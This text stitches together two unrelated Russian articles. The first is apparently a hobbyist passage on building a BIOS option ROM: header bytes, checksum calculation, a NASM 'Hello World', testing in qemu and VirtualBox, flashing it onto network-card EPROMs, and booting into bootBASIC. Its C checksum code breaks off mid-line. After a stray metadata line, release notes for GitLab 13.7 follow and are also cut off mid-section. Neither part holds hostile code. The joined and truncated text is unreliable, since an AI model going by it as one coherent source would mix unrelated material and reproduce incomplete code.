Для того чтобы системный BIOS нашёл дополнительный модуль в памяти, есть специальная процедура, которая позволяет его найти. Во время самотестирования [POST](https://ru.wikipedia.org/wiki/POST_(%D0%B0%D0%BF%D0%BF%D0%B0%D1%80%D0%B0%D1%82%D0%BD%D0%BE%D0%B5_%D0%BE%D0%B1%D0%B5%D1%81%D0%BF%D0%B5%D1%87%D0%B5%D0%BD%D0%B8%D0%B5)), после загрузки векторов прерывания в ОЗУ, резидентный код BIOS начинает проверять ПЗУ на наличие специальных байтов заголовка, которые помечают начало дополнительного модуля BIOS. Поиск этих заголовков идёт в диапазоне абсолютных адресов `0C8000h - 0F4000h`.
Заголовок имеет определённый вид:
* Два байта обозначают начало секции: `0x55` и `0xAA`.
* Сразу за двумя первыми байтами заголовка, следует третий байт, который содержит длину дополнительного кода BIOS. Это количество блоков, длиной 512 байт, необходимых для хранения этого кода. Это ещё значит, что раздел кода расширения BIOS не может быть длиннее:
После того как заголовок был найден, проверяется — является ли последующий раздел настоящим расширением BIOS. Для этого выполняется проверка целостности для указанного количества блоков по 512 байт. Значения каждого байта в блоке суммируются сложением по модулю 0x100 — эффект такой же, как при делении суммы всех байтов на 4096(d). Остаток 0 указывает, что расширение BIOS содержит корректный код. Проще говоря, последний байт должен хранить контрольную сумму, сумма всех предыдущих байтов, с которой даёт нуль.
Как только заголовок идентифицирован, контрольная сумма проверена, то управление будет передано к третьему байту этого расширения, и начинается выполнение программы, содержащейся в этом расширении. Например, видеокарта инициализирует свои регистры, благодаря которым вы можете видеть что-либо на мониторе после включения. Или находят диски, подключённые к компу.
Дальше, когда код был выполнен, управление вновь передаётся к резидентному BIOS, и поиск в памяти дополнительных блоков BIOS продолжается. Этот процесс завершается, когда достигается абсолютный адрес `0F4000h`, после которого уже и начинается загрузка с диска.
Внимательный читатель может заметить, что в одной и той же области памяти не может быть двух одинаковых образов, поэтому производители плат расширения для компьютеров дают возможность переназначать адреса, которые использовались с их расширениями BIOS, чтобы не было конфликтов.
Например, в большинстве систем тех лет, есть три стандартных BIOS, которые, как правило, всегда расположены в одном и том же месте:
* **Системный BIOS:** основной системный BIOS расположен в блоке памяти размером 64 КБ от `F0000h` до `FFFFFh`.
* **VGA Video BIOS:** это BIOS, который нужен для инициализации и управления видеокартой. Обычно он находится в блоке размером 32 КБ от `C0000h` до `C7FFFh`. Находится непосредственно на плате видеокарты.
* **BIOS жёсткого диска IDE:** BIOS, который управляет жёстким диском IDE, если в вашей системе есть IDE, расположен от `C8000h` до `CBFFFh`. На старых платах расположен на плате контроллера жёстких дисков, на новой системе, как я понимаю, непосредственно на материнской плате.
Например, можно взять программу [RAMVIEW, которую я правил в прошлом посте](https://habr.com/ru/company/timeweb/blog/697688/), и посмотреть BIOS видеокарты.
***Просмотр памяти BIOS реальной видеокарты***
Переходим по смещению `C000h`, что как раз соответствует физическому адресу `C0000h`. Можно сразу увидеть два «магических» числа заголовка: `55h` и `AAh`, затем идёт число `7Ch`, которое говорит нам, что это расширение занимает 63488 байта.
Из теории должно быть понятно, что если мы хотим написать программу, то нам надо в начале кода делать заголовок, который будет содержать волшебные числа и размер кода в секторах, а в конце кода считать контрольную сумму. И если с первым всё более-менее понятно, то сложность доставляет добавление контрольной суммы.
В общем-то, этой информации должно быть достаточно, чтобы взять и написать свой BIOS.
❯ Пишем «Hello Wold» в расширении BIOS.
----------------------------------------
Когда начинал искать информацию по теме, наткнулся на [следующую PDF](https://afra-berlin.de/dokuwiki/lib/exe/fetch.php?media=2018-01-26_lightning_talk_bios_option_roms.pdf), которая и стала кладезем информации. Это какая-то презентация, как собирать BIOS-расширения. В конце неё даётся [ссылка на репозиторий](https://github.com/TobiasKaiser/ahci_sbe) с прекрасным примером и описанием. Это замечательный пример того, для чего можно было создавать свои расширения в BIOS — защищённая загрузка на жёсткий диск с паролем. Да, во времена UEFI всё это потеряло всякий смысл. Но мы хотим разобраться с этой частью.
Попробовал это расширение, оно у меня высыпалось с ошибкой. Но я понял, что оно работает, потому что оно запустилось и напечатало ошибку. Значит можно взять код, который выводил ошибку и сделать из него «Hello World».
Обкорнав этот пример, получилось настоящий «Привет мир». Сам ассемблеровский код разбирать не буду, он достаточно очевиден, но обращу внимание на некоторые моменты. Код весь можно посмотреть [в моём репозитории](https://github.com/dlinyj/rom_bios_hello). Программа собирается транслятором nasm, на мой взгляд, самый удобный и простой транслятор для начинающих, работает как в DOS, Windows, так и в Linux. Для удобства сборки написал [Makefile](https://github.com/dlinyj/rom_bios_hello/blob/master/Makefile).
Пробежимся по коду [hello.asm](https://github.com/dlinyj/rom_bios_hello/blob/master/hello.asm):
```
org 0
rom_size_multiple_of equ 512
bits 16
; PCI Expansion Rom Header
; ------------------------
db 0x55, 0xAA ; signature
db rom_size/512; initialization size in 512 byte blocks
entry_point: jmp start
start:
```
Начинаем работать с нулевого смещения. Вначале мы определяем define `rom_size_multiple_of equ 512`, который содержит размер блока. Bits 16 говорит, что NASM должен генерировать код для процессора, работающего в шестнадцати битном режиме.
`db 0x55, 0xAA` — это заголовок, магические числа, которые обозначают начало область начала расширения BIOS.
`db rom_size/512` — это один байт, который определяет размер секторов нашей программы. Рассчитывается автоматически с помощью макроса, для этого в конце программы добавлен следующий макрос:
```
rom_end equ $-$$
rom_size equ (((rom_end-1)/rom_size_multiple_of)+1)*rom_size_multiple_of
```
Макрос `rom_end` — получает размер программы в байтах. Далее идёт расчёт размер памяти, кратно блоку 512 байт и сохраняется в макрос `rom_size`. И это значение уже подставляется в байт в памяти, где рассчитывается количество блоков. Надеюсь, вы не запутались, тут просто происходит рекурсивная трансляция.
После того как заголовок определён, идёт команда `jmp start`, которая осуществляет прыжок на начало исполнения программы. В конце кода программы, перед макросами расчёта её размеров, резервируется 1 байт для расчёта контрольной суммы:
```
db 0 ; reserve at least one byte for checksum
```
В качестве способа ввода-вывода используется стандартное прерывание BIOS `int 10h`, которое расписывается в любой книжке по ассемблеру, поэтому не вижу смысла подробно на этом останавливаться. Многие студенты пишут подобные опусы на лабораторках в институте.
Самое интересное — расчёт контрольной суммы, и он осуществляется с помощью дополнительной программы [addchecksum.c](https://github.com/dlinyj/rom_bios_hello/blob/master/addchecksum.c). Её исходники я также позаимствовал из проекта [AHCI BIOS Security Extension](https://github.com/TobiasKaiser/ahci_sbe). Код этой программы тоже стоит разобрать, потому что он интересен и полезен. Не так много работающих примеров, которые умеют считать контрольные суммы для расширения BIOS.
```
...
int main(int argc, char *argv[]) {
...
FILE *f=fopen(argv[1], "r+");
...
fseek(f, 0, SEEK_END);
int f_size=ftell(f);
fseek(f, 0, SEEK_SET);
unsigned char sum=0;
int i;
for(i=0;i
```
С помощью перехода в конец файла `fseek(f, 0, SEEK_END);` мы получаем размер файла `int f_size=ftell(f);`. Далее с начала файла образа читаем побайтно и суммируем полученные значения в однобайтовой переменной `sum` (то есть отбрасывая бит переноса). После чего инвертируем полученное значение и записываем его в последний байт нашей программы `fputc((0x100-sum)&0xff, f);`, где мы заранее зарезервировали нулевой байт данных. В результате, если просуммировать весь код программы, он должен быть равен нулю, вместе с нашей контрольной суммой (последний байт хранит отрицательное число контрольной суммы).
Собрать это всё можно следующими двумя командами:
```
gcc addchecksum.c -o addchecksum
nasm hello.asm -fbin -o hello.rom
./addchecksum hello.rom || rm hello.rom
```
Результатом всех операций, если вы всё сделали правильно, будет файл `hello.rom`. Осталось найти способ протестировать работоспособность этого бинарника.
❯ Способы отладки BIOS Extension
---------------------------------
Самый очевидный и проблемный способ — это прошить программатором микросхему ПЗУ, вставить в специальную панельку на плате ISA или PCI, затем эту карту вставить в комп, включить его и убедиться, что ничего не работает. Есть вообще путь настоящего джедая — это встроить код прям в BIOS на материнской плате, но всё это долго, муторно и неудобно. Есть более простые и удачные решения.
Всё хорошее придумано для нас — это виртуальные машины, в данном случае использовал **VirtualBox** и **qemu**. Второй вариант быстрее и проще, первый — доступен в Windows, а поскольку большую часть времени работаю в wsl под Windows, для меня это актуально. Да, я знаю, что qemu есть для Windows, но таков путь.
### VirtualBox
Для того чтобы протестировать ROM BIOS Extension, я создал пустую виртуальную машину. Там не требуется даже подключать жёсткий диск, он не нужен. Далее необходимо подключить данный образ к виртуальной машине. В Windows делал следующим образом, запускаю PowerShell и выполняю:
```
cd "C:\Program Files\Oracle\VirtualBox\"
.\VBoxManage.exe setextradata testrom "VBoxInternal/Devices/pcbios/0/Config/LanBootRom" "c:\tmp\hello.rom"
```
После этого можно просто подменять файл `c:\tmp\hello.rom` и всё будет работать. В Linux тоже всё работает, команда такая же, разве что не требуется лезть по явному пути, так как путь до VBoxManage уже содержится в переменной PATH.
Копирую файл `hello.rom` в `c:\tmp\` и пробую запустить виртуальную машину.
***Тестирование образа ROM в VirtualBox***
Всё отлично работает. Но для меня qemu показалось намного удобнее и проще, без всех этих плясок с созданием машины и прописыванием путей до образа. И запустить её можно из любой папки.
### Запуск BIOS в qemu
Протестировать в виртуальной машине qemu можно одной командой, прямо из папки с получившимся бинарником:
```
qemu-system-i386 -net none -option-rom hello.rom
```
* `-net none` говорит, что сети у нас нет.
* `-option-rom` — указывает образ ROM-файла.
Очень просто и удобно. Плюс можно сразу встроить в Makefile, чтобы собрать и проверить.
***Запускаем тестирование программы из Makefile***
Оба инструмента имеют право на жизнь, но мой выбор — это qemu, плюс там удобно будет ещё и посмотреть, что происходит с моей программой.
❯ Тестирование на реальном железе
----------------------------------
Если первая часть статьи показалась вам сложной, то нет — это была самая простая часть проекта. Самая сложная часть, которая отняла у меня большую часть времени — это запуск всего на реальном железе.
Вообще, не так много способов установить свой собственный ROM в память компьютера, самый простой – это подобрать сетевую карту, у которой есть кроватка для установки ROM. Вроде бы прошивай ПЗУ, устанавливай в кроватку и вперед, но как обычно, путь был тернист.
### Попытка на 386 машине
Изначально планировал весь проект реализовать на 386 машине, железо которой мне было любезно предоставлено [spiritus\_sancti](https://habr.com/ru/users/spiritus_sancti/).
***386 материнская плата***
Чтобы оживить его, пришлось пройти настоящий квест по разворачиванию DOS на Compact Flash, оказалась не такая простая задачка, с танцами. О чём [подробно описал у себя в ЖЖ](https://dlinyj.livejournal.com/861413.html). Все эти мытарства были нужны для того, чтобы увидеть образ ПЗУ в памяти ЭВМ.
Для прошивки взял микросхему M2764, программатор долго её не хотел видеть, всё давал ошибки ножек. Но всё же дал её прошить.
***Прошивка микросхемы***
После прошивки вставил её в панельку сетевой карты и стал ждать чуда.
***ПЗУ M2764 в панельке сетевой карты***
Но чуда не произошло, сколько я не плясал с бубном, но видел при загрузке только такую картину:
***BIOS найден не был, попытка загрузиться на дискетку***
Тогда я тщетно пытался разыскать свой код в памяти с помощью утилиты debug (для этого и ставил DOS). Но безуспешно, в результате решил взять железо посвежее для своих опытов.
### Pentium 4 и сетевая карта Realtek RTL8139
Поскребя по сусекам в своём гараже, обнаружил там системный блок с Pentium 4, который долгое время стоял под дождём, но оказался живым. И подумал, что он вполне может подойти для моих целей. Винт был мёртв и хрустел французской булкой, но меня это не волновало, главное, чтобы работал BIOS и PCI.
***Потрошка подопытного, все шлейфы отключены, во избежание***
При включении оказался вполне себе бодрым и живым, разве что пришлось заменить батарейку BIOS.
***Старт, всё живое, дисков нет***
Чтобы код с сетевой карты выполнился, необходимо обязательно указать загрузку с LAN. Как это ни странно, по умолчанию выполняться он не будет, хотя мануалы гласят об обратном.
***Включаем исполнение кода на сетевой карте***
Есть верный способ сделать что-то хорошо — это повторить за кем-то. Поэтому, решил взять не только куски кода из проекта [AHCI BIOS](https://github.com/TobiasKaiser/ahci_sbe), но и рекомендации по выбору сетевой карты:
> This one uses the Realtek RTL8139 controller, which is my recommendation. Network cards with the RTL8139 are easy and cheap to find on the second hand market. The network card should come with an unpopulated DIP-28 socket, so you will also need to get a DIP-28 EEPROM as the actual option ROM. Any ROM that sells as 28C64 should be compatible.
Вместо 28C64 решил использовать микросхему M2764, которая у меня уже была в наличии. Карта очень распространённая и купить её не проблема, главное следить, чтобы в ней была панелька.
Как я узнал из статьи "[Boot manager для 486-го компьютера](https://habr.com/ru/post/512698/)", для работы BOOT ROM сетевую карту нужно конфигурировать. Нашёл с трудом драйвера для RTL8139 под ДОС и даже настроил, чтобы всё корректно работало.
***Настройка сетевой карты в драйверах***
Ставлю прошитое ранее ПЗУ в эту сетевую карту, ииии…
***Установленное ПЗУ. Железка снята для удобства многократной установки платы***
Устанавливаю её в системный блок, загружаюсь и ничего. Как я не бился, как ни крутился, что не делал — не получается. Именно тогда я озадачился поиском программы просмотра памяти. С помощью RAMVIEW смотрел всю память, но так и не встретил там участка с моим образом (ключевое слово «Hello Word» в начале сегмента).
Стало понятно, что нужно брать сетевую карту, у которой уже есть настоящий, живой Boot ROM и смотреть как же он работает. Это сетевые карты типа [PXE](https://ru.wikipedia.org/wiki/PXE).
### Рабочий вариант: сетевуха с образом PXE
Идея простая, найти сетевую карту с рабочим ПЗУ, затем посмотреть, как оно устроено. Отпаять с неё микросхему ПЗУ, зашить свою прошивку и припаять обратно. Но потом я подумал: а зачем отпаивать, если можно поставить просто панельку. Так я и поступил.
PXE-сетевые карты стоят на досках объявлений дешевле, чем микросхемы ПЗУ в магазине. Поэтому, купил сразу несколько плат, чтобы было место для экспериментов. Выбор пал на распространённую модель: **3Com 3C905C-TXM**.
***Сетевая карта с PXE***
Ставлю её в компьютер, и, о чудо, она грузится!
***PXE ROM успешно обнаружен!***
Можно даже посмотреть, как выглядит образ PXE ROM в памяти компьютера, с помощью утилиты RAMVIEW.
***Образ PXE ROM в памяти компьютера***
Здесь для меня была ценная информация, где я смогу найти образ своей программы в памяти компьютера. Всё точно так же, магические два числа и размер образа в секторах.
Дело стало за малым: отпаять микросхему и припаять панельку. На деле оказалась не такая простая процедура, как я думал, даже пришлось носить к профессиональному монтажнику (благо есть такая возможность), но у меня всё получилось.
***Снимаем микросхему ПЗУ***
***Монтируем панель для микросхем***
***Прошиваем***
Устанавливаем микросхему на своё законное место. Для сравнения плата с панелькой и микросхемой, запаянной штатно:
Всё, теперь всё готово к тестированию. Вставляем плату в компьютер, и всё работает!
***Суровый аппаратный Hello World***
Этот удивительный момент даже заснял на видео.
Теперь даже можно проверить, что в памяти видно эту программу. Обратите внимание на строку «Hello world.» в конце.
***По адресу PXE теперь живёт «Привет мир»***
Всё это конечно прикольно, но хочется чего-то более полезного и функционального, ведь умение делать свой ROM BIOS дарит много новых возможностей. А давайте сделаем настоящий ROM BASIC?
❯ BIOS ROM BASIC
-----------------
Старожилы помнят, что в первых персональных компьютерах IBM интерпретатор BASIC был встроен в ROM BIOS. И мне показалась забавной загружаться вместо ОС в интерпретатор BASIC.
Главная задача, которая стояла предо мной — это найти хорошие исходники BASIC, написанные на ассемблере. Может показаться забавным, но Microsoft официально, [в своём репозитории выложила исходники GW-BASIC](https://github.com/microsoft/GW-BASIC). Однако, внимательно посмотрел на них, почитал статьи тех, кто пытался их собрать, [например](https://www.os2museum.com/wp/gw-basic-source-notes/), и понял, что дело гиблое. В результате я отказался от идеи использовать этот исходник, хотя, конечно, это было бы очень аутентично.
Мне же посоветовали исходники [bootBASIC](https://github.com/nanochess/bootBASIC), который занимает всего 512 байт, и рассчитан для работы в загрузочном секторе жёсткого диска. По счастливому стечению обстоятельств, в качестве транслятора там тоже использовался nasm.
Я [сделал клон этого проекта](https://github.com/dlinyj/bootBASIC), за пару часов добавил функционал, чтобы он компилировал ещё образ для ROM сетевой карты: добавил в начале магическое число, размер и в конце контрольную сумму — теперь вы всё знаете и сами умеете.
Осталось только собрать образ ROM простой командой:
```
make basic.rom
```
И проверить его:
```
make runqemurom
```
Но всё это не спортивно, интересно попробовать в реальном железе. И таки да, оно работает!
Как говорится, лучше один раз увидеть, чем тысячу раз прочитать. Поэтому вот вам небольшое кинцо.
❯ Заключение
-------------
Кто бы мог подумать, что создание своего образа BIOS окажется таким интересным и продолжительным квестом. Мне пришлось купить около десятка сетевых карт, чтобы наконец найти рабочую. Проблемы с ROM, которые у меня были, вероятнее всего связаны с плохим качеством микросхемы ПЗУ.
Очень много этапов экспериментов не вошло в статью, как минимум у меня около десятка различных вариаций «Hello world», написанных в разной стилистике ассемблера. Поле для экспериментов просто непаханое. Несмотря на то, что это старьё, такой опыт полезен для разработки на голом железе и может быть использован при программировании других модулей.
Хоть литературы по теме немного, создавать свой ПЗУ BIOS совершенно несложно. Это не сильно отличается от примеров создания загрузчика в бутсектор жёсткого диска. Просто нужно помнить, что есть ещё контрольная сумма, которую тоже нужно уметь считать и записывать в конец образа ROM.
❯ Полезные ссылки
------------------
1. [Краткое описание что такое BIOS Extension.](http://staff.ustc.edu.cn/~xyfeng/research/cos/resources/machine/biosextension.htm)
2. [Презентация, которая сдвинула меня с мёртвой точки.](https://afra-berlin.de/dokuwiki/lib/exe/fetch.php?media=2018-01-26_lightning_talk_bios_option_roms.pdf)
3. [Репозиторий проекта AHCI BIOS Security Extension.](https://github.com/TobiasKaiser/ahci_sbe)
4. [Мой репозиторий BIOS «Hello world.».](https://github.com/dlinyj/rom_bios_hello)
5. [Оригинальный репозиторий bootBASIC.](https://github.com/nanochess/bootBASIC/)
6. [Мой репозиторий, который умеет грузиться в ROM BIOS.](https://github.com/dlinyj/bootBASIC)
7. Интересная статья по теме "[Boot manager для 486-го компьютера](https://habr.com/ru/post/512698/)".
**P.S. Если вам интересно моё творчество, вы можете [следить за мной ещё в телеграмме.](https://t.me/dlinyj_news)**
[](https://timeweb.cloud/?utm_source=habr&utm_medium=banner&utm_campaign=vds-promo-6-rub) | https://habr.com/ru/post/700722/ | null | ru | null |
# Вышел релиз GitLab 13.7 с проверяющими для мерж-реквестов и автоматическим откатом при сбое
Ну и год же был 2020! Мы счастливы представить релиз 13.7 с более чем **45** фичами и улучшениями поставки ПО, вышедший как раз к праздникам.
От имени всех сотрудников GitLab мы хотим поблагодарить участников нашего сообщества за ваш вклад и за то положительное влияние, которое вы оказываете на нашу работу. Без вас GitLab не был бы таким, как сейчас.
Благодарим вас и всех членов команды GitLab, которые помогли сделать 2020 год невероятным, несмотря на невзгоды и непредсказуемые обстоятельства. Пожалуйста, оставайтесь в безопасности, будьте счастливы и здоровы в этот праздничный период.
Вот что вас ждёт в релизе 13.7:
Улучшенное управление проектами для развития совместной работы
--------------------------------------------------------------
Мерж-реквесты (в русской локализации GitLab «запросы на слияние») имеют решающее значение для развития совместной работы и могут быть напрямую связаны с соответствующими тикетами, предоставляя центральное место для общения посредством комментариев, предложений по изменениям в коде и ревью кода. В этом релизе мы добавили [проверяющих для мерж-реквестов](#proveryayuschie-dlya-merzh-rekvestov) — способ улучшить процесс ревью кода, сделав его более лёгким и организованным. Теперь вы сможете быстро выяснить, кто участвовал в мерж-реквесте, или запросить у кого-то ревью, отправив соответствующее уведомление.
Переключение контекста и выполнение заданий вручную в рабочем процессе затрудняют эффективное взаимодействие между группами и проектами. Это означает, что вы проводите меньше времени за разработкой ценных фич и больше времени тратите на работу с проектами, поэтому возможность [клонировать тикеты с помощью быстрых действий](#klonirovanie-tiketa-cherez-bystroe-deystvie) наверняка вам пригодится, поскольку поможет оптимизировать управление проектами и гибкое планирование с agile.
[Совместная работа](https://about.gitlab.com/handbook/values/#collaboration) над проектами и частое [итерирование](https://about.gitlab.com/handbook/values/#iteration) при разработке ваших приложений подразумевают, что вы должны быть в состоянии быстро определить степень важности ваших тикетов, выявить любые блокирующие задачи и использовать эту информацию для расстановки приоритетов при принятии решений. Теперь вы можете [сортировать по количеству блокируемых тикетов](#sortirovka-po-chislu-blokiruemyh-tiketov), чтобы быстрее находить те тикеты, которые блокируют прогресс по другим тикетам.
Улучшена автоматизация релизов и гибкость развёртывания
-------------------------------------------------------
В управлении организацией, автоматизацией и развёртыванием приложений на регулярной основе вам необходима гибкость. Надёжное и частое развёртывание приложений позволяет быстрее поставлять продукт заказчикам.
Чтобы улучшить автоматизацию релизов в GitLab, мы добавили [автоматический откат в случае сбоя](#avtomaticheskiy-otkat-v-sluchae-sboya). Эта фича отменяет неудачное развёртывание, восстанавливает последнее успешное развёртывание и посылает автоматическое уведомление об этом. Вам не придётся вносить изменения вручную, и вы можете быть уверены, что потенциальные проблемы не приведут к простоям и ситуация не ухудшится, пока вы работаете над устранением неполадок.
Ещё одно улучшение, которое хорошо сочетается с автоматическим откатом в случае сбоя, — возможность [посмотреть статус развёртывания на странице окружений](#prosmotr-statusa-razvyortyvaniy-na-stranice-okruzheniy). Просматривать статусы развёртываний стало гораздо удобнее, как и определять, какие действия вам нужно предпринять, например, остановить или откатить развёртывание.
Мы также выпустили первую официально поддерживаемую бета-версию [контейнера обработчика заданий GitLab для Red Hat OpenShift, а также нашего сертифицированного оператора обработчиков заданий](#obrabotchik-zadaniy-gitlab-dlya-red-hat-openshift), чтобы дать вам больше свободы в том, как вы выпускаете релизы с GitLab. Мы работаем над тем, чтобы сделать эту фичу общедоступной, так что следите за новостями в будущих релизах.
Более надёжное и эффективное управление пакетами и зависимостями
----------------------------------------------------------------
Ваш рабочий процесс зависит от множества языков программирования, бинарных файлов, интеграций и артефактов, которые являются важными входными или выходными данными в вашем процессе разработки. Чем эффективнее вы управляете своими пакетами и зависимостями, тем меньше рабочего времени уходит впустую. Чтобы повысить эффективность работы с реестром пакетов, мы добавили [быстрый поиск и просмотр общих пакетов](#bystryy-poisk-i-prosmotr-obschih-paketov).
Мы также внесли улучшения в прокси зависимостей от GitLab; кстати, эта фича была [перенесена в Core](https://about.gitlab.com/blog/2020/10/30/minor-breaking-change-dependency-proxy/) в GitLab 13.6.
Теперь вы можете [вписаться в ограничения запросов Docker и ускорить работу конвейеров](#obhod-ogranicheniy-docker-i-uskorenie-konveyerov) (в русской локализации GitLab «сборочные линии») благодаря кэшированию образов контейнеров, размещённых на DockerHub, и быть уверенными в надёжности и эффективности работы с образами.
Ещё одно улучшение, которого ожидали многие из нашего сообщества, — [прокси зависимостей теперь работает и с приватными проектами](#proksi-zavisimostey-dlya-privatnyh-proektov), так что теперь этой фичей смогут воспользоваться и те пользователи, которые предпочитают работать с приватными проектами.
И, наконец, вы можете [использовать предопределённые переменные с прокси зависимостей](#ispolzuyte-predopredelyonnye-peremennye-s-proksi-zavisimostey) взамен того, чтобы полагаться на свои собственные определённые переменные или вшитые значения в вашем файле `gitlab.ci-yml`. Таким образом, появился более масштабируемый и эффективный способ начать проксирование и кэширование образов.
И это ещё не всё!
-----------------
Взгляните на ещё несколько классных новых фич релиза 13.7:
* [Импорт требований из CSV-файла](#import-trebovaniy-iz-vneshnih-instrumentov)
* [Размещение пользователей с помощью SAML на GitLab.com](#sinhronizaciya-grupp-na-gitlabcom-s-pomoschyu-saml)
* [Возможность задавать через интерфейс процент трафика канареечных развёртываний](#zadavayte-cherez-polzovatelskiy-interfeys-procent-trafika-dlya-kanareechnogo-razvyortyvaniya)
* [Просмотр частоты развёртываний через API](#prosmotr-chastoty-razvyortyvaniy-cherez-api)
Это — всего лишь некоторые из множества новых фич и улучшений производительности этого релиза. Если вы хотите заранее узнать, что вас ждёт в следующем месяце, загляните на страницу [будущих релизов](https://about.gitlab.com/direction/kickoff/), а также посмотрите наше [видео по релизу 13.8](https://youtu.be/bWKdW-s9o9E).
6-7го января у нас прошёл виртуальный хакатон, узнайте больше об этом и будущих мероприятиях от GitLab [здесь](https://about.gitlab.com/community/hackathon/).
[MVP](https://about.gitlab.com/community/mvp/) этого месяца — [Rachel Gottesman](https://gitlab.com/gottesman.rachelg)
----------------------------------------------------------------------------------------------------------------------
Rachel активно помогала нашей команде технических писателей внедрить согласованный стиль в документации для исправления [использования будущего времени](https://gitlab.com/gitlab-org/gitlab/-/issues/284446) в наших документах. В релизе 13.7 Rachel [открыла 33 мерж-реквеста](https://gitlab.com/dashboard/merge_requests?scope=all&utf8=%E2%9C%93&state=all&author_username=gottesman.rachelg&milestone_title=13.7), чем помогла нашей команде справиться с этой важной и кропотливой задачей. Спасибо, Rachel!
Основные фичи релиза GitLab 13.7
--------------------------------
### Проверяющие для мерж-реквестов
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: Create](https://about.gitlab.com/stages-devops-lifecycle/create/)
Попросить коллегу просмотреть ваш код должно быть обычной частью рабочего процесса, но иногда это бывает неоправданно сложно. Такая простая задача, как запрос на ревью, может привести к путанице. Например, как именно следует запрашивать: через электронное письмо, комментарий, сообщение в чате? Без формального механизма ревью мерж-реквестов могут быть непоследовательными, и за их проведением будет сложно уследить. Раньше уже можно было назначить проверяющего на мерж-реквест, но и автор, и рецензент отображались в одном и том же поле “Assignee”, что не позволяло другим членам команды узнать, кто за что отвечал в этом мерж-реквесте.
GitLab 13.7 представляет новую фичу — теперь авторы мерж-реквеста могут запросить ревью у конкретных пользователей. В новом поле “Reviewers” пользователи могут быть назначены проверяющими для мерж-реквеста аналогичным образом, как назначаются ответственные (assignee). Назначенные на ревью пользователи получат уведомление, предлагающее им просмотреть мерж-реквест. Таким образом, теперь существует формальный процесс запроса ревью для мерж-реквеста и уточняются роли каждого пользователя в работе над ним.
Будущие итерации будут включать отображение наиболее подходящих проверяющих для мерж-реквеста, а также усовершенствованный процесс подтверждения мерж-реквеста, который будет сфокусирован именно на проверяющих. Подробнее об этом вы можете узнать в [эпике по назначению проверяющих для ревью мерж-реквестов](https://gitlab.com/groups/gitlab-org/-/epics/1823).
[Документация по назначению проверяющих для мерж-реквеста](https://docs.gitlab.com/ee/user/project/merge_requests/getting_started#reviewer) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/216054).
### Автоматический откат в случае сбоя
(ULTIMATE, GOLD) [Стадия цикла DevOps: Release](https://about.gitlab.com/stages-devops-lifecycle/release/)
Если у вас возникла критическая проблема с развёртыванием, ручные действия по её устранению могут занять довольно много времени и привести к сбоям на продакшене, что негативно скажется на пользователях. Теперь вы можете использовать автоматический механизм отката, который возвращает ваше развёртывание обратно к последнему успешному развёртыванию. Кроме того, когда GitLab находит проблемы на продакшене, он автоматически уведомляет вас об этом. Так вы всегда будете своевременно узнавать о проблемах, и получите драгоценное время для отладки, исследования и исправления проблем без лишних простоев в работе.
[Документация по автоматическому откату при сбое](https://docs.gitlab.com/ee/ci/environments/#auto-rollback) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/35404).
### Клонирование тикета через быстрое действие
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: Plan](https://about.gitlab.com/stages-devops-lifecycle/plan/)
Чтобы сделать создание похожих тикетов более эффективным, тикеты теперь поддерживают быстрое действие `/clone`, которое создаёт в том же проекте новый тикет с идентичными названием, описанием и метаданными. Быстрое действие `/clone` заменяет более трудоёмкий процесс, который включал в себя несколько шагов для создания тикета, копирования идентификатора или пути к исходному тикету и использование быстрого действия `copy_meta`.
По умолчанию тикеты клонируются в тот же проект и не включают в себя системные заметки и комментарии, но вы можете изменить поведение по умолчанию при клонировании.
[Документация по быстрым действиям](https://docs.gitlab.com/ee/user/project/quick_actions.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/9421).
### Обработчик заданий GitLab для Red Hat OpenShift
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: Verify](https://about.gitlab.com/stages-devops-lifecycle/verify/)
Наконец-то стал доступен образ контейнера обработчика заданий GitLab (GitLab runner) для [платформы контейнеров Red Hat OpenShift](https://www.openshift.com/products/container-platform)! Чтобы установить обработчик заданий на OpenShift, воспользуйтесь новым [оператором обработчиков заданий GitLab](https://gitlab.com/gitlab-org/gl-openshift/gitlab-runner-operator). Он доступен на бета-канале в Red Hat's Operator Hub — веб-консоли для администраторов кластеров OpenShift, уже развёрнутой по умолчанию на платформе, где они могут найти и выбрать операторы для установки на своём кластере. На платформе контейнеров OpenShift Operator Hub уже развёрнут по умолчанию. Мы планируем перенести оператор обработчика заданий GitLab на стабильный канал, а в начале 2021 года — [в общий доступ](https://gitlab.com/gitlab-org/gl-openshift/gitlab-runner-operator/-/issues/6). Наконец, мы также разрабатываем оператор для GitLab, так что следите за будущими публикациями.
[Документация по установке на OpenShift](https://docs.gitlab.com/runner/install/openshift.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/27126).
### Просмотр статуса развёртываний на странице окружений
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: Release](https://about.gitlab.com/stages-devops-lifecycle/release/)
Ранее на странице окружений не было никакого способа узнать о том, что сейчас выполняется развёртывание. Теперь на этой странице отображаются статусы развёртываний и предупреждения, благодаря чему вы можете принять решение о том, какие действия нужно предпринять, основываясь на статусе развёртывания (успешное, неудачное или текущее). Например, можно остановить текущее развёртывание или откатить завершённое.
[Документация по работе с окружениями](https://docs.gitlab.com/ee/ci/environments/#working-with-environments) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/232494).
### Задавайте через пользовательский интерфейс процент трафика для канареечного развёртывания
(PREMIUM, ULTIMATE, SILVER, GOLD) [Стадия цикла DevOps: Release](https://about.gitlab.com/stages-devops-lifecycle/release/)
В GitLab 13.7 вы можете менять процент трафика для канареечного развёртывания (значение canary-weight) непосредственно с досок развёртывания в пользовательском интерфейсе. Вы также можете менять это значение из `gitlab-ci.yml` и через API, но сделав это в пользовательском интерфейсе, вы сможете наблюдать за развёртыванием и при необходимости отмасштабировать поды прямо с досок развёртывания. Так у вас будет больше контроля над ручными или инкрементальными развёртываниями по таймеру, а также вы сможете лучше контролировать и даже снижать риски.
